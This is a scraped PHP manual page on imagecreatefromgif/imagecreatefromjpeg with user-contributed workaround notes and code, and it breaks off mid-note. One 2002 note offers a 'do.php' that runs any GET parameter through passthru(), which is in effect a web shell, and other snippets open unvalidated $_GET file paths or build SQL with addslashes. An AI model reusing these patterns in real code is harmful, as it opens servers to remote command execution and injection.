(for the Unix and source, see http://catb.org/~esr/gif2png/ )

In Win32,
  passthru("gif2png $filename");
works fine if gif2png.exe is in the path.
It will overwrite the file with .png extension, so be careful,or use temp files as in the post referenced above (without the  -O; type "gif2png" at the command line for the options).

I had a problem with exceeding the default 30 second execution time limit in PHP, so I added this line
  set_time_limit(0); // some odd gifs take a long time (example, a 25K gif, 700x700, mostly blank)
geoffrey at poulet dot org 27-Feb-2003 04:22
After hours of search, I've finally found a program which can convert JPG to GIF.
IJG - The Independent JPEG Group's JPEG software
Version 6 which support GIF (read and write with LZW)
and the version 6b which support GIF (write only without LZW)

The name of the file is: jpegsrc.v6.tar.gz
fezber at yamasoft dot com 13-Feb-2003 04:27
For users who just want GIF read (not write) support but:
1) Don't want to patch GD libs
2) Don't want to recompile something
3) Don't have permissions to install conversion packages
4) Any other reason...

I created a small php script (around 25KB) which lets you load a GIF from a file (you even can specify the image index on animated GIFs) and then convert it to a PNG or BMP file.

If I take one example:

<?
include("gif.php");

$gif = gif_loadFile("./test.gif");

if($gif) {
    // GIF file successfully opened
    if(gif_outputAsPNG($gif, "./test.png")) {
        // Now, just use ImageCreateFromPng...
        $img = ImageCreateFromPng("./test.png");

        if($img) {
            header("Content-Type: image/jpeg");
            ImageJPEG($img);
            ImageDestroy($img);
        }
        else {
            // Could NOT open PNG
        }
    }
    else {
        // Could NOT convert GIF to PNG...
    }
}
else {
    // GIF not loaded...
}
?>

Of course, it's slower than using appropriate software and/or libraries but it's quite useful for reading occasionaly some GIF files.

You'll find the gif.php source code at: http://www.yamasoft.com/php-gif.zip

Fabien
Ady at freebsd dot ady dot ro 11-Jan-2003 08:20
FreeBSD users are lucky to have the option of compiling GIF support in GD2.x through the ports system.
All you need to do is to export the "WITH_LZW=yes" global variable when compiling the graphics/gd2 port, e.g.:

# cd /usr/ports/graphics/gd2
# export WITH_LZW=yes
# make && make install

Then recompile and (re)install the www/mod_php4 port and you are in business... :)

Good luck!
unknown at hotmail dot com 15-Nov-2002 03:00
If GD doesn't support GIFs & gif2png is not available & you are not an administrator, you can install it in your account like this:

create do.php:
<?
  global $do;
  passthru($do);
?>

then upload gif2png-2.4.6.tar.gz, unpack and install it:
do.php?do=tar+-xvzf+gif2png-2.4.6.tar.gz
do.php?do=gif2png-2.4.5/configure
do.php?do=make

Then remove all files except gif2png. Don't forget to remove do.php as it is a serious security hole in your system.

Njoy!

Anze
senbei at terra dot es 09-May-2002 07:31
Since gif support is removed from the more recent GD libraries, you can still use it via an external program.
I've read somewhere about using ImageMagick and I tried myself but it's a quite big package and needs the X11 libs which are not available in some servers.
The other option I found is to use a little prog "gif2png" http://www.tuxedo.org/~esr/gif2png/
to convert gif files to png ones. It works under Unix and dos/win32/winnt and is very straightforward.
If you need to modify an user uploaded gif file to save it into your site just use this:

$path=$_FILES["photo"]["tmp_name"];
passthru("/usr/bin/gif2png -d -O ".$path);
$src_img=imagecreatefrompng( dirname($path)."/".basename($path, ".gif").".png");

This will convert the gif to a png and delete the gif file, then it will open the png with the GDlib so you can perform any operation on it.
chuckg at infinite9 dot com 22-Mar-2001 09:05
I just thought I'd let you guys know of a workaround for the lack of Gif support in the latest GD...aside from adding the patch.  It works just as good, from what I can tell, and is quite nice ;)

Here goes:
<?
//Just grab some general image info
$img = "path/to/image.gif";
$imageInfo = GetImagesize($img);

if ( $imageInfo[2] == 1 ) {
   //it's a gif
   $file = fread(fopen($path, "r"), filesize($path));

   $fileHeader = "image/gif";
   Header("Content-Type: ".$fileHeader);
   echo $file;
   fclose($file);
}
?>

basically what that does is reads the file..through the "GetImageSize", which still returns if it's a GIF or not, (thank god), then if it's a gif, opens the file through normal filestream, sets the header to image type "gif" then prints it out.  Same as doing "ImageCreateFromGif($img)" and "ImageGif($img)", except that it doesn't require GD Gif support.  If you have any questions just ask me via email (chuckg@infinite9.com)
anthony dot atkins at vt dot edu 17-May-2000 03:05
<?php

function myImageCreateFromGif($file_or_url) {

        $dummy_file = "/tmp/dummy.gif";

        # if this is a url, use fopen to get the file data, then
        # save it to a dummy file
        if (preg_match("/(http|ftp):\/\//i", $file_or_url)) {
                # open the file using fopen, which supports remote URLs
                $input = fopen($file_or_url, "rb");

                # read the contents of the file
                # will accept files up to 10Mb, but will probably get
                # and EOF before that, we have to do it this way because
                # filesize isn't designed to work with URLs.  sigh.
                $image_data = fread($input, 10000000);

                fclose($input);

                # write the contents to a dummy file
                $output = fopen("$dummy_file", "wb");
                fwrite($output, $image_data);
                fclose($output);

                # create the gif from the dummy file
                $image = ImageCreateFromGif($dummy_file);

                # get rid of the dummy file
                unlink($dummy_file);

        }

        # if it's not a URL, we can simply open the image directly
        else {
                $image = ImageCreateFromGif($file_or_url);
        }

        if ($image) { return $image; }
        else { return 0; }
}

if (!$url) { $url = "http://scholar.lib.vt.edu/images/cornholio.gif";}
$image = myImageCreateFromGif($url);

if ($image == "" || $image == 0) {
        print "<p>No Image data was returned...</p>\n";
}
else {
        header("Content-Type: image/gif\n\n");
        ImageGif($image);
}

?>


Create a new image from file or URL

  • « imagecreatefromgif
  • imagecreatefrompng »
  • PHP Manual
  • GD and Image Functions
  • Create a new image from file or URL

imagecreatefromjpeg

(PHP 4, PHP 5)

imagecreatefromjpeg — Create a new image from file or URL

Description

resource imagecreatefromjpeg ( string $filename )

imagecreatefromjpeg() returns an image identifier representing the image obtained from the given filename.

Tip

A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide.

Parameters

filename

Path to the JPEG image.

Return Values

Returns an image resource identifier on success, FALSE on errors.

Examples

Example #1 Example to handle an error during loading of a JPEG

<?php
function LoadJpeg($imgname)
{
    /* Attempt to open */
    $im = @imagecreatefromjpeg($imgname);

    /* See if it failed */
    if(!$im)
    {
        /* Create a black image */
        $im  = imagecreatetruecolor(150, 30);
        $bgc = imagecolorallocate($im, 255, 255, 255);
        $tc  = imagecolorallocate($im, 0, 0, 0);

        imagefilledrectangle($im, 0, 0, 150, 30, $bgc);

        /* Output an error message */
        imagestring($im, 1, 5, 5, 'Error loading ' . $imgname, $tc);
    }

    return $im;
}

header('Content-Type: image/jpeg');

$img = LoadJpeg('bogus.image');

imagejpeg($img);
imagedestroy($img);
?>

The above example will output something similar to:

Output of example : Example to handle an error during loading of a JPEG

Notes

Note: JPEG support is only available if PHP was compiled against GD-1.8 or later.

Warning

Windows versions of PHP prior to PHP 4.3.0 do not support access of remote files via this function, even if allow_url_fopen is enabled.

User Contributed Notes

jan at recreatie-zorg dot nl 05-Aug-2013 07:20
This function does not honour EXIF orientation data.  Pictures that are rotated using EXIF, will show up in the original orientation after being handled by imagecreatefromjpeg().  Below is a function to create an image from JPEG while honouring EXIF orientation data.

<?php
    function imagecreatefromjpegexif($filename)
    {
        $img = imagecreatefromjpeg($filename);
        $exif = exif_read_data($filename);
        if ($img && $exif && isset($exif['Orientation']))
        {
            $ort = $exif['Orientation'];

            if ($ort == 6 || $ort == 5)
                $img = imagerotate($img, 270, null);
            if ($ort == 3 || $ort == 4)
                $img = imagerotate($img, 180, null);
            if ($ort == 8 || $ort == 7)
                $img = imagerotate($img, 90, null);

            if ($ort == 5 || $ort == 4 || $ort == 7)
                imageflip($img, IMG_FLIP_HORIZONTAL);
        }
        return $img;
    }
?>
matt dot squirrell dot php at hsmx dot com 05-Nov-2012 10:28
This little function allows you to create an image based on the popular image types without worrying about what it is:

<?php
function imageCreateFromAny($filepath) {
    $type = exif_imagetype($filepath); // [] if you don't have exif you could use getImageSize()
    $allowedTypes = array(
        1,  // [] gif
        2,  // [] jpg
        3,  // [] png
        6   // [] bmp
    );
    if (!in_array($type, $allowedTypes)) {
        return false;
    }
    switch ($type) {
        case 1 :
            $im = imageCreateFromGif($filepath);
        break;
        case 2 :
            $im = imageCreateFromJpeg($filepath);
        break;
        case 3 :
            $im = imageCreateFromPng($filepath);
        break;
        case 6 :
            $im = imageCreateFromBmp($filepath);
        break;
    }
    return $im;
}
?>
pavel.lint at vk.com 04-May-2012 06:31
I was experiencing troubles with imagecreatefromjpeg() as it outputted errors even when called with @ in front. ini_set("gd.jpeg_ignore_warning", 1) didnt work for me, so I came up with another simple solution.

The problem is caused by gd error output, so by redirecting STDERR to /dev/null all the error messages in it are supressed and you can still use regular STDOUT for your error output.

So, just use
<?
fclose( STDERR );
$STDERR = fopen( "/dev/null", "wb" );
?>
Zane, MegaLab.it 14-Jul-2011 06:07
Some image where failing with a Warning: imagecreatefromjpeg(): gd-jpeg, libjpeg: recoverable error: Premature end of JPEG file

The only way to make it work was to ini_set("gd.jpeg_ignore_warning", 1); and then call it with @imagecreatefromjpeg()

It's far less than ideal, but if you're stuck as I was, give it a try.
Jrn Berkefeld 26-Apr-2011 08:08
I encountered a very strange behaviour:
The background:
Each time users uploaded images, the original file was stored along with a thumbnail and a medium sized version for small-sized slideshows.
that means that on upload all of these original images were acknowledged by php as valid jpg

The change:
I created a new slideshow script that featured full-screen display. My old "medium-sized" version were only about 600px wide which caused them to luck all ugly after stretching that to modern screen sizes.
--> I created a small script that opens all original images and saves bigger "medium-sized" versions than the once I had.

the problem:
for some reason about 1/3 of all images (not the last third but always the same images) were now labeled as "... is not a valid JPEG file ..." by php

the cause:
still unknown

the solution:
<?php
...
$src_img = @imagecreatefromjpeg($myJPGfile_relative);
if (!$src_img) {
    $src_img = LoadJPEG("http://example.com/".$myJPGfile);
}
?>

Each time the local approach fails the script falls back to loading the same file "from the outside" via the below mentioned "LoadJPEG" script - big thanks to the author!
That worked even though I'm talking about the exact same file on the exact same server. The only difference is that one time it's accessed locally and the second via port 80.

when using this, watch for correct paths relative to your script and the possibly different path relative to your domain.
juozaspo at gmail dot com 19-Oct-2010 11:58
There is my actual script to resize image without distortion to generate a thumbnail and/or show a smaller to browser.

<?php
// usual header used on my all pages
ob_start("ob_gzhandler");
$PHP_SELF=$_SERVER['PHP_SELF'];
include "include/errors.php"; //error log script

// actual script begins here
$type=false;
function open_image ($file) {
    //detect type and process accordinally
    global $type;
    $size=getimagesize($file);
    switch($size["mime"]){
        case "image/jpeg":
            $im = imagecreatefromjpeg($file); //jpeg file
        break;
        case "image/gif":
            $im = imagecreatefromgif($file); //gif file
      break;
      case "image/png":
          $im = imagecreatefrompng($file); //png file
      break;
    default:
        $im=false;
    break;
    }
    return $im;
}

$url = $_GET['url'];
if (isset($_SERVER['HTTP_IF_MODIFIED_SINCE']) && (strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE']) == filemtime($url))) {
  // send the last mod time of the file back
    header('Last-Modified: '.gmdate('D, d M Y H:i:s', filemtime($url)).' GMT', true, 304); //is it cached?
} else {

$image = open_image($url);

if ($image === false) { die ('Unable to open image'); }

$w = imagesx($image);
$h = imagesy($image);

//calculate new image dimensions (preserve aspect)
if(isset($_GET['w']) && !isset($_GET['h'])){
    $new_w=$_GET['w'];
    $new_h=$new_w * ($h/$w);
} elseif (isset($_GET['h']) && !isset($_GET['w'])) {
    $new_h=$_GET['h'];
    $new_w=$new_h * ($w/$h);
} else {
    $new_w=isset($_GET['w'])?$_GET['w']:560;
    $new_h=isset($_GET['h'])?$_GET['h']:560;
    if(($w/$h) > ($new_w/$new_h)){
        $new_h=$new_w*($h/$w);
    } else {
        $new_w=$new_h*($w/$h);
    }
}

$im2 = ImageCreateTrueColor($new_w, $new_h);
imagecopyResampled ($im2, $image, 0, 0, 0, 0, $new_w, $new_h, $w, $h);
//effects
if(isset($_GET['blur'])){
    $lv=$_GET['blur'];
    for($i=0; $i<$lv;$i++){
        $matrix=array(array(1,1,1),array(1,1,1),array(1,1,1));
        $divisor = 9;
        $offset = 0;
        imageconvolution($im2, $matrix, $divisor, $offset);
    }
}
if(isset($_GET['sharpen'])){
    $lv=$_GET['sharpen'];
    for($i=0; $i<$lv;$i++){
        $matrix = array(array(-1,-1,-1),array(-1,16,-1),array(-1,-1,-1));
        $divisor = 8;
        $offset = 0;
        imageconvolution($im2, $matrix, $divisor, $offset);
    }
}

header('Content-type: image/jpeg');
$name=explode(".", basename($_GET['url']));
header("Content-Disposition: inline; filename=".$name[0]."_t.jpg");
header('Last-Modified: ' . gmdate('D, d M Y H:i:s', filemtime($url)) . ' GMT');
header("Cache-Control: public");
header("Pragma: public");
imagejpeg($im2);
//imagedestroy($im2);
//imagedestroy($image);
}

?>
Ray.Paseur sometimes uses Gmail 09-Oct-2010 12:19
If you have a blank in the file name, and you use a local URL, this function works.  Not so with a fully qualified URL

<?php
$url = 'RAY_rgb 300x100.jpg';
$img = ImageCreateFromJPEG($url);
// WORKS PERFECTLY

$url = 'http://www.example.com/RAY_rgb 300x100.jpg';
$img = ImageCreateFromJPEG($url);
// FAILS Warning: imagecreatefromjpeg() [function.imagecreatefromjpeg]: gd-jpeg: JPEG library reports unrecoverable error
?>
nico at anvilstudios dot co dot za 07-Sep-2010 09:41
I encountered a problem with this function on a windows system. Instead of returning false in case of the file not being a JPG, the function resulted in an error:
"imagecreatefromjpeg() : gd-jpeg : JPEG library reports unrecoverable error".

To get around this first check whether the file is a JPEG file using its mime type, if it is not return false.
brentwientjes at NOSPAM dot comcast dot net 16-Feb-2010 09:47
Last night I posted the following note under move_upload_file and looked tonight to see if it got into the system.  I happen to also pull up imagecreatefromjpeg and got reminded of many resize scripts in this section.  Unfortunately, my experience was not covered by most of the examples below because each of them assumed less than obvious requirements of the server and browser.  So here is the post again under this section to help others uncover the mystery in file uploading and resizing arbitrary sized images.  I have been testing for several days with hundreds of various size images and it seems to work well.  Many additional features could be added such as transparency, alpha blending, camera specific knowledge, more error checking.  Best of luck.

---  from move_upload_file post ---

I have for a couple of years been stymed to understand how to effectively load images (of more than 2MB) and then create thumbnails.  My note below on general file uploading was an early hint of some of the system default limitations and I have recently discovered the final limit  I offer this as an example of the various missing pieces of information to successfully load images of more than 2MB and then create thumbnails.  This particular example assumes a picture of a user is being uploaded and because of browser caching needs a unique number at the end to make the browser load a new picture for review at the time of upload.  The overall calling program I am using is a Flex based application which calls this php file to upload user thumbnails.

The secret sauce is:

1.  adjust server memory size, file upload size, and post size
2.  convert image to standard formate (in this case jpg) and scale

The server may be adjusted with the .htaccess file or inline code.  This example has an .htaccess file with file upload size and post size and then inline code for dynamic system memory.

htaccess file:
php_value post_max_size 16M
php_value upload_max_filesize 6M

<?php
//  $img_base = base directory structure for thumbnail images
//  $w_dst = maximum width of thumbnail
//  $h_dst = maximum height of thumbnail
//  $n_img = new thumbnail name
//  $o_img = old thumbnail name
function convertPic($img_base, $w_dst, $h_dst, $n_img, $o_img)
  {ini_set('memory_limit', '100M');   //  handle large images
   unlink($img_base.$n_img);         //  remove old images if present
   unlink($img_base.$o_img);
   $new_img = $img_base.$n_img;

   $file_src = $img_base."img.jpg";  //  temporary safe image storage
   unlink($file_src);
   move_uploaded_file($_FILES['Filedata']['tmp_name'], $file_src);

   list($w_src, $h_src, $type) = getimagesize($file_src);  // create new dimensions, keeping aspect ratio
   $ratio = $w_src/$h_src;
   if ($w_dst/$h_dst > $ratio) {$w_dst = floor($h_dst*$ratio);} else {$h_dst = floor($w_dst/$ratio);}

   switch ($type)
     {case 1:   //   gif -> jpg
        $img_src = imagecreatefromgif($file_src);
        break;
      case 2:   //   jpeg -> jpg
        $img_src = imagecreatefromjpeg($file_src);
        break;
      case 3:  //   png -> jpg
        $img_src = imagecreatefrompng($file_src);
        break;
     }
   $img_dst = imagecreatetruecolor($w_dst, $h_dst);  //  resample

   imagecopyresampled($img_dst, $img_src, 0, 0, 0, 0, $w_dst, $h_dst, $w_src, $h_src);
   imagejpeg($img_dst, $new_img);    //  save new image

   unlink($file_src);  //  clean up image storage
   imagedestroy($img_src);
   imagedestroy($img_dst);
  }

$p_id = (Integer) $_POST[uid];
$ver = (Integer) $_POST[ver];
$delver = (Integer) $_POST[delver];
convertPic("your/file/structure/", 150, 150, "u".$p_id."v".$ver.".jpg", "u".$p_id."v".$delver.".jpg");

?>
v1d4l0k4 at gmail.com 09-Nov-2009 07:58
As of PHP 5.1.3, if you are dealing with corrupted JPEG images you should set the 'gd.jpeg_ignore_warning' directive to 1 to ignore warnings that could mess up your code.

In runtime, you should do this:

<?php

ini_set('gd.jpeg_ignore_warning', 1);

?>

Regards,
Paulo Ricardo
francesco@essensys 26-Mar-2009 02:13
I didn't find any example like this, so I mixed pieces together.. hope this will save time to other people!

Here's a complete solution to READ any image (gif jpg png) from the FILESYSTEM, SCALE it to a max width/height, SAVE the scaled image to a BLOB field keeping the original image type. Quite tricky..

<?php

function scaleImageFileToBlob($file) {

    $source_pic = $file;
    $max_width = 200;
    $max_height = 200;

    list($width, $height, $image_type) = getimagesize($file);

    switch ($image_type)
    {
        case 1: $src = imagecreatefromgif($file); break;
        case 2: $src = imagecreatefromjpeg($file);  break;
        case 3: $src = imagecreatefrompng($file); break;
        default: return '';  break;
    }

    $x_ratio = $max_width / $width;
    $y_ratio = $max_height / $height;

    if( ($width <= $max_width) && ($height <= $max_height) ){
        $tn_width = $width;
        $tn_height = $height;
        }elseif (($x_ratio * $height) < $max_height){
            $tn_height = ceil($x_ratio * $height);
            $tn_width = $max_width;
        }else{
            $tn_width = ceil($y_ratio * $width);
            $tn_height = $max_height;
    }

    $tmp = imagecreatetruecolor($tn_width,$tn_height);

    /* Check if this image is PNG or GIF to preserve its transparency */
    if(($image_type == 1) OR ($image_type==3))
    {
        imagealphablending($tmp, false);
        imagesavealpha($tmp,true);
        $transparent = imagecolorallocatealpha($tmp, 255, 255, 255, 127);
        imagefilledrectangle($tmp, 0, 0, $tn_width, $tn_height, $transparent);
    }
    imagecopyresampled($tmp,$src,0,0,0,0,$tn_width, $tn_height,$width,$height);

    /*
     * imageXXX() has only two options, save as a file, or send to the browser.
     * It does not provide you the oppurtunity to manipulate the final GIF/JPG/PNG file stream
     * So I start the output buffering, use imageXXX() to output the data stream to the browser,
     * get the contents of the stream, and use clean to silently discard the buffered contents.
     */
    ob_start();

    switch ($image_type)
    {
        case 1: imagegif($tmp); break;
        case 2: imagejpeg($tmp, NULL, 100);  break; // best quality
        case 3: imagepng($tmp, NULL, 0); break; // no compression
        default: echo ''; break;
    }

    $final_image = ob_get_contents();

    ob_end_clean();

    return $final_image;
}

?>

So, let's suppose you have a form where a user can upload an image, and you have to scale it and save it into your database.

<?php

    [..] // the user has clicked the Submit button..

    // Check if the user entered an image
    if ($_FILES['imagefile']['name'] != '') {
        $image = scaleImageFileToBlob($_FILES['imagefile']['tmp_name']);

        if ($image == '') {
            echo 'Image type not supported';
        } else {
            $image_type = $_FILES['imagefile']['type'];
            $image = addslashes($image);

            $query  = "UPDATE yourtable SET image_type='$image_type', image='$image' WHERE ...";
            $result = mysql_query($query);
            if ($result) {
               echo 'Image scaled and uploaded';
             } else {
               echo 'Error running the query';
             }
        }
    }

?>
webmaster [at] justuspics [tod] com 24-Jan-2008 02:47
Make a mental note, if it looks like your routine is crashing non-stop, double check to make sure you didn't spell the function like so...

imagecreatefromjpg  (should be jpeg)

I spent an entire night overlooking this one small detail. I love how php won't crash out with an error saying the function doesn't exist, but then again, that could be my host.

http://www.justuspics.com
dmhouse at gmail dot com 08-Aug-2007 12:37
For a script that allows you to calculate the "fudge factor" discussed below by Karolis and Yaroukh, try the following. Grab a few images, preferably some large ones (the script should cope with images of up to 10 megapixels or so), some small ones, and some ones in between. Add their filenames to the $images array, then load the script in your browser.

<?php

header('Content-Type: text/plain');

ini_set('memory_limit', '50M');

function format_size($size) {
  if ($size < 1024) {
    return $size . ' bytes';
  }
  else {
    $size = round($size / 1024, 2);
    $suffix = 'KB';
    if ($size >= 1024) {
      $size = round($size / 1024, 2);
      $suffix = 'MB';
    }
    return $size . ' ' . $suffix;
  }
}

$start_mem = memory_get_usage();

echo <<<INTRO
The memory required to load an image using imagecreatefromjpeg() is a function
of the image's dimensions and the images's bit depth, multipled by an overhead.
It can calculated from this formula:
Num bytes = Width * Height * Bytes per pixel * Overhead fudge factor
Where Bytes per pixel = Bit depth/8, or Bits per channel * Num channels / 8.
This script calculates the Overhead fudge factor by loading images of
various sizes.
INTRO;

echo "\n\n";

echo 'Limit: ' . ini_get('memory_limit') . "\n";
echo 'Usage before: ' . format_size($start_mem) . "\n";

// Place the images to load in the following array:
$images = array('image1.jpg', 'image2.jpg', 'image3.jpg');
$ffs = array();

echo "\n";

foreach ($images as $image) {
  $info = getimagesize($image);
  printf('Loading image %s, size %s * %s, bpp %s... ',
         $image, $info[0], $info[1], $info['bits']);
  $im = imagecreatefromjpeg($image);
  $mem = memory_get_usage();
  echo 'done' . "\n";
  echo 'Memory usage: ' . format_size($mem) . "\n";
  echo 'Difference: ' . format_size($mem - $start_mem) . "\n";
  $ff = (($mem - $start_mem) /
         ($info[0] * $info[1] * ($info['bits'] / 8) * $info['channels']));
  $ffs[] = $ff;
  echo 'Difference / (Width * Height * Bytes per pixel): ' . $ff . "\n";
  imagedestroy($im);
  $start_mem = memory_get_usage();
  echo 'Destroyed. Memory usage: ' . format_size($start_mem) . "\n";

  echo "\n";
}

echo 'Mean fudge factor: ' . (array_sum($ffs) / count($ffs));

?>
jhon at stockton dot com dot com 04-Jun-2007 10:02
// a function for resize the images(png,jpg,gif) in a directory
//for the png you must have the zlib actived

//$diror origin directory
//$dirdest destination directory
//$val value of resize(1,2,3..)
//$qual quality(80 if you don't know)

function imgres($diror,$dirdest,$val,$qual){
$q=$qual;
//open the directory
if (is_dir($diror)) {
   if ($dh = opendir($diror)) {
      while (($file = readdir($dh)) !== false) {
        if($file == "." || $file == ".."){continue;}
                 $k=explode(".",$file);
            if(strpos($k[1],"jpg")===0 || strpos($k[1],"jpeg")===0){
            $salva=$dirdest.$file;
                    $image=$diror.$file;
            $im =imagecreatefromjpeg("$image");
            $x=imagesx($im);
            $y=imagesy($im);
            $thumbnail=imagecreatetruecolor($x/$val,$y/$val);
            $im_ridimensionata=imagecopyresized( $thumbnail, $im, 0, 0, 0, 0, $x/$val,
            $y/$val, $x, $y);
            imagejpeg($thumbnail, $salva, $q);
                    }
            elseif(strpos($k[1],"gif")===0){
            $salva=$dirdest.$file;
                    $image=$diror.$file;
            $im =imagecreatefromgif("$image");
            $x=imagesx($im);
            $y=imagesy($im);
            $thumbnail=imagecreatetruecolor($x/$val,$y/$val);
            $im_ridimensionata=imagecopyresized( $thumbnail, $im, 0, 0, 0, 0, $x/$val,
            $y/$val, $x, $y);
            imagegif($thumbnail, $salva, $q);
                }
            elseif(strpos($k[1],"png")===0){
            $salva=$dirdest.$file;
                    $image=$diror.$file;
            $im =imagecreatefrompng("$image");
            $x=imagesx($im);
            $y=imagesy($im);
            $thumbnail=imagecreatetruecolor($x/$val,$y/$val);
            $im_ridimensionata=imagecopyresized( $thumbnail, $im, 0, 0, 0, 0, $x/$val,
            $y/$val, $x, $y);
            imagepng($thumbnail, $salva, $q);
                }
            else{
                echo "File not compatible(no jpg,gif or png)";
            }
            }
            closedir($dh);
            }
    }
}
huguowen at cn dot ibm dot com 17-May-2007 08:57
Tips for Windows User to Set up GD(dynamic graphic lib) with PHP.

Problem I meet:

When i run following function, which terminates at

$img = @imagecreatefromjpeg($image_path);

error message is : undefined function imagecreatefromjpeg();

no other code of the script gets executed.

Solution:

In one word, you need to turn on gd lib,
which hold the implementation of imagecreatefromjpeg();

please follow below steps:

my php install dir is: c:/php/
first you must try to find:
c:/php/php.ini
c:/php/ext/php_gd2.dll(php 5)
c:/php/extension/php_gd2.dll(php 4)

The php_gd2.dll is included in a standard PHP installation for Windows,
however, it's not enabled by default.
You have to turn it on,
You may simply uncomment the line "extension=php_gd2.dll" in php.ini and restart the PHP extension.

Change:
,extension=php_gd2.dll

To:
extension=php_gd2.dll

You may also have to correct the extension directory setting
from:
extension_dir = "./"
extension_dir = "./extensions"
To (FOR WINDOWS):
extension_dir = "c:/php/extensions"(php 4)
extension_dir = "c:/php/ext"(php 5)

Cheers!
sales at wholehogsoftware dot com 02-May-2007 06:10
I've found a bug in CentOS 4.x that, while previously addressed, does not seem to be directly addressed here as far as the nature of the bug is concerned.

If you are having a problem getting this function to work on CentOS 4.4 (may appear earlier) and are receiving this error:

Call to undefined function imagecreatefromjpeg()

This is because the installation *does* support JPG by default if you have libjpeg installed. However, the config script finds libjpeg in /usr/lib but it is never successfully added to the PHP build.

To fix this, you should recompile PHP and be absolutely sure to add '--with-jpeg-dir' to the config command. This should appear BEFORE the --with-gd option. Example:

'--with-jpeg-dir' '--with-gd'

If you don't put it before --with-gd, the option is completely ignored.

As always, be sure to do a 'make clean' before a 'make install'. I made the mistake of forgetting to check and wasted 30 minutes trying to resolve this problem simply because I forgot to clean up after myself previously.
hvozda at ack dot org 31-Oct-2006 12:42
If imagecreatefromjpeg() fails with "PHP Fatal error:  Call to undefined function:  imagecreatefromjpeg()", it does NOT necessarily mean that you don't have GD installed.

If phpinfo() shows GD, but not JPEG support, then that's the problem.  You would think that --with-gd would do the right thing since it does check for the existance of libjpeg (and finds it) and add that feature to GD, but it doesn't in v4.4.4 at least on RHEL v2.1, RHEL v3, CentOS v2.1 or CentOS v4.3.

On those platforms, it's *important* that --with-jpeg-dir be *before* --with-gd.  If it's not, GD won't build with jpeg support as if --with-jpeg-dir had never been specified...
info at daleconsulting dot com dot au 29-Aug-2006 03:34
In a post by Angel Leon, an example script was given that forms a thumbnail gallery using imagecreatefromjpeg.  I am fairly new to php scripts, but I found that the script did not display the table of thumbnail images if the row wasn't "filled" with images.. i.e. if there were 5 images in the folder and the script specified 3 rows in the table, then the page would only display the thumbnails for the first row and only three images were shown.  I found that if you specified the variable row with this equation, then the table would display properly:

$row = intval(count($files)+($row_size-1));

(This is the first line in the createThumbTable function.)
kapishonas at yahoo dot com 11-Jul-2006 01:56
script for nokia photos which end with FF D9 and still imagecreatefromjpeg() returns error.

<?php

error_reporting( 32 );
header( 'Content-Type: image/jpeg' );

$imgPath = 'att.jpg';

// Atdod atpakaļ GD_ImageResource
function imageCreateFromJpegEx($file)
{
    $data = file_get_contents($file);
    $im = @imagecreatefromstring($data);
    $i = 0;
    while (!$im)
    {
        $data = substr_replace($data, "", -3, -2);
        $im = @imagecreatefromstring($data);
    }
    return $im;
}

$im = imageCreateFromJpegEx($imgPath);
imagejpeg( $im );

?>

script by Delfins in latvian php forums
05-Jun-2006 07:42
regarding e dot a dot schultz at gmail dot com post

i tried the script (with the bugfixes posted later) and still got memorytrouble. most often it is still not enough memory to upload big images, even if it seems to calculate right. so this helped my perfectly:

$newLimit = $newLimit+3000000; (before passing it to the ini_set() function).

extremly simple and maybe not the best solution, but it works for now (you sure can give it less than an additional 3mb, just try what works for you).
ben dot lancaster at design-ontap dot co dot uk 24-May-2006 02:21
It is worth noting that all of the imagecreate* functions quite intentionally do not look in the include_path
anatol at nugob dot org 05-May-2006 07:59
When working with uploaded jpeg files it is usually a good idea to execute a little but very useful program called jhead
( http://www.sentex.net/~mwandel/jhead/ ).

This will clean up unnecessary jpeg header information which can cause trouble. Some cameras or applications write binary data into the headers which may result in ugly results such as strange colors when you resample the image later on.

Usage:
<?php
exec("/path/to/jhead -purejpg /path/to/image");
// for example when you uploaded a file through a form, do this before you proceed:
exec("/path/to/jhead -purejpg ".$file['tmp_name']);
?>

I didn't have the chance to test this but I guess this might even solve the problem caused by images that were taken with Canon PowerShot cameras which crash PHP.

This is from the jhead documentation: "-purejpg: Delete all JPEG sections that aren't necessary for rendering the image. Strips any metadata that various applications may have left in the image."

jhead got some other useful options as well...
webmaster at killer dot com dot ar 25-Apr-2006 10:16
The prior script by "e dot a dot schultz at gmail dot com", have a bug

$memoryLimitMB don't have a value

Add
         $memoryLimitMB = 8;
Before
          $memoryLimit = 8 * $MB;
And change that line for:
          $memoryLimit = $memoryLimitMB * $MB;

--------------

Something similar happens with the script by "JohnBrook at pobox dot com"

$memoryLimit don't have a value

Change:

$memoryLimit = $memoryLimit * $MB;

For:
  $memoryLimit = $memoryLimitMB * $MB;
e dot a dot schultz at gmail dot com 09-Apr-2006 01:35
In John's human readable code version of Karolis code to dynimicly allocate need memory there are a few bugs. If you didn't compile with the "--enable-memory-limit" option, this script will error with a level E_ERROR. Bellow is a fixed version rapped as a function. To view replacement functions for memory_get_usage() look at http://us2.php.net/manual/en/function.memory-get-usage.php

<?php
function setMemoryForImage( $filename ){
    $imageInfo = getimagesize($filename);
    $MB = 1048576;  // number of bytes in 1M
    $K64 = 65536;    // number of bytes in 64K
    $TWEAKFACTOR = 1.5;  // Or whatever works for you
    $memoryNeeded = round( ( $imageInfo[0] * $imageInfo[1]
                                           * $imageInfo['bits']
                                           * $imageInfo['channels'] / 8
                             + $K64
                           ) * $TWEAKFACTOR
                         );
    //ini_get('memory_limit') only works if compiled with "--enable-memory-limit" also
    //Default memory limit is 8MB so well stick with that.
    //To find out what yours is, view your php.ini file.
    $memoryLimit = 8 * $MB;
    if (function_exists('memory_get_usage') &&
        memory_get_usage() + $memoryNeeded > $memoryLimit)
    {
        $newLimit = $memoryLimitMB + ceil( ( memory_get_usage()
                                            + $memoryNeeded
                                            - $memoryLimit
                                            ) / $MB
                                        );
        ini_set( 'memory_limit', $newLimit . 'M' );
        return true;
    }else
        return false;
    }
}
?>
Christoph Ziegenberg 13-Mar-2006 10:26
Matt reported that PHP crashs using imagecreatefromjpeg() - that's true and it took me a lot of time to find the error - but not only the Canon PowerShot S70, also the Canon PowerShot  A400 lets PHP (5.1.2) crash, without any chance to catch it!

So I exclude all Canon PowerShot images with the following check:

    function check_canonpowershot($filename)
    {
        if (strpos(file_get_contents($filename), 'Canon PowerShot') !== false)
        {
            return true;
        }
        return false;
    }
JohnBrook at pobox dot com 10-Feb-2006 04:14
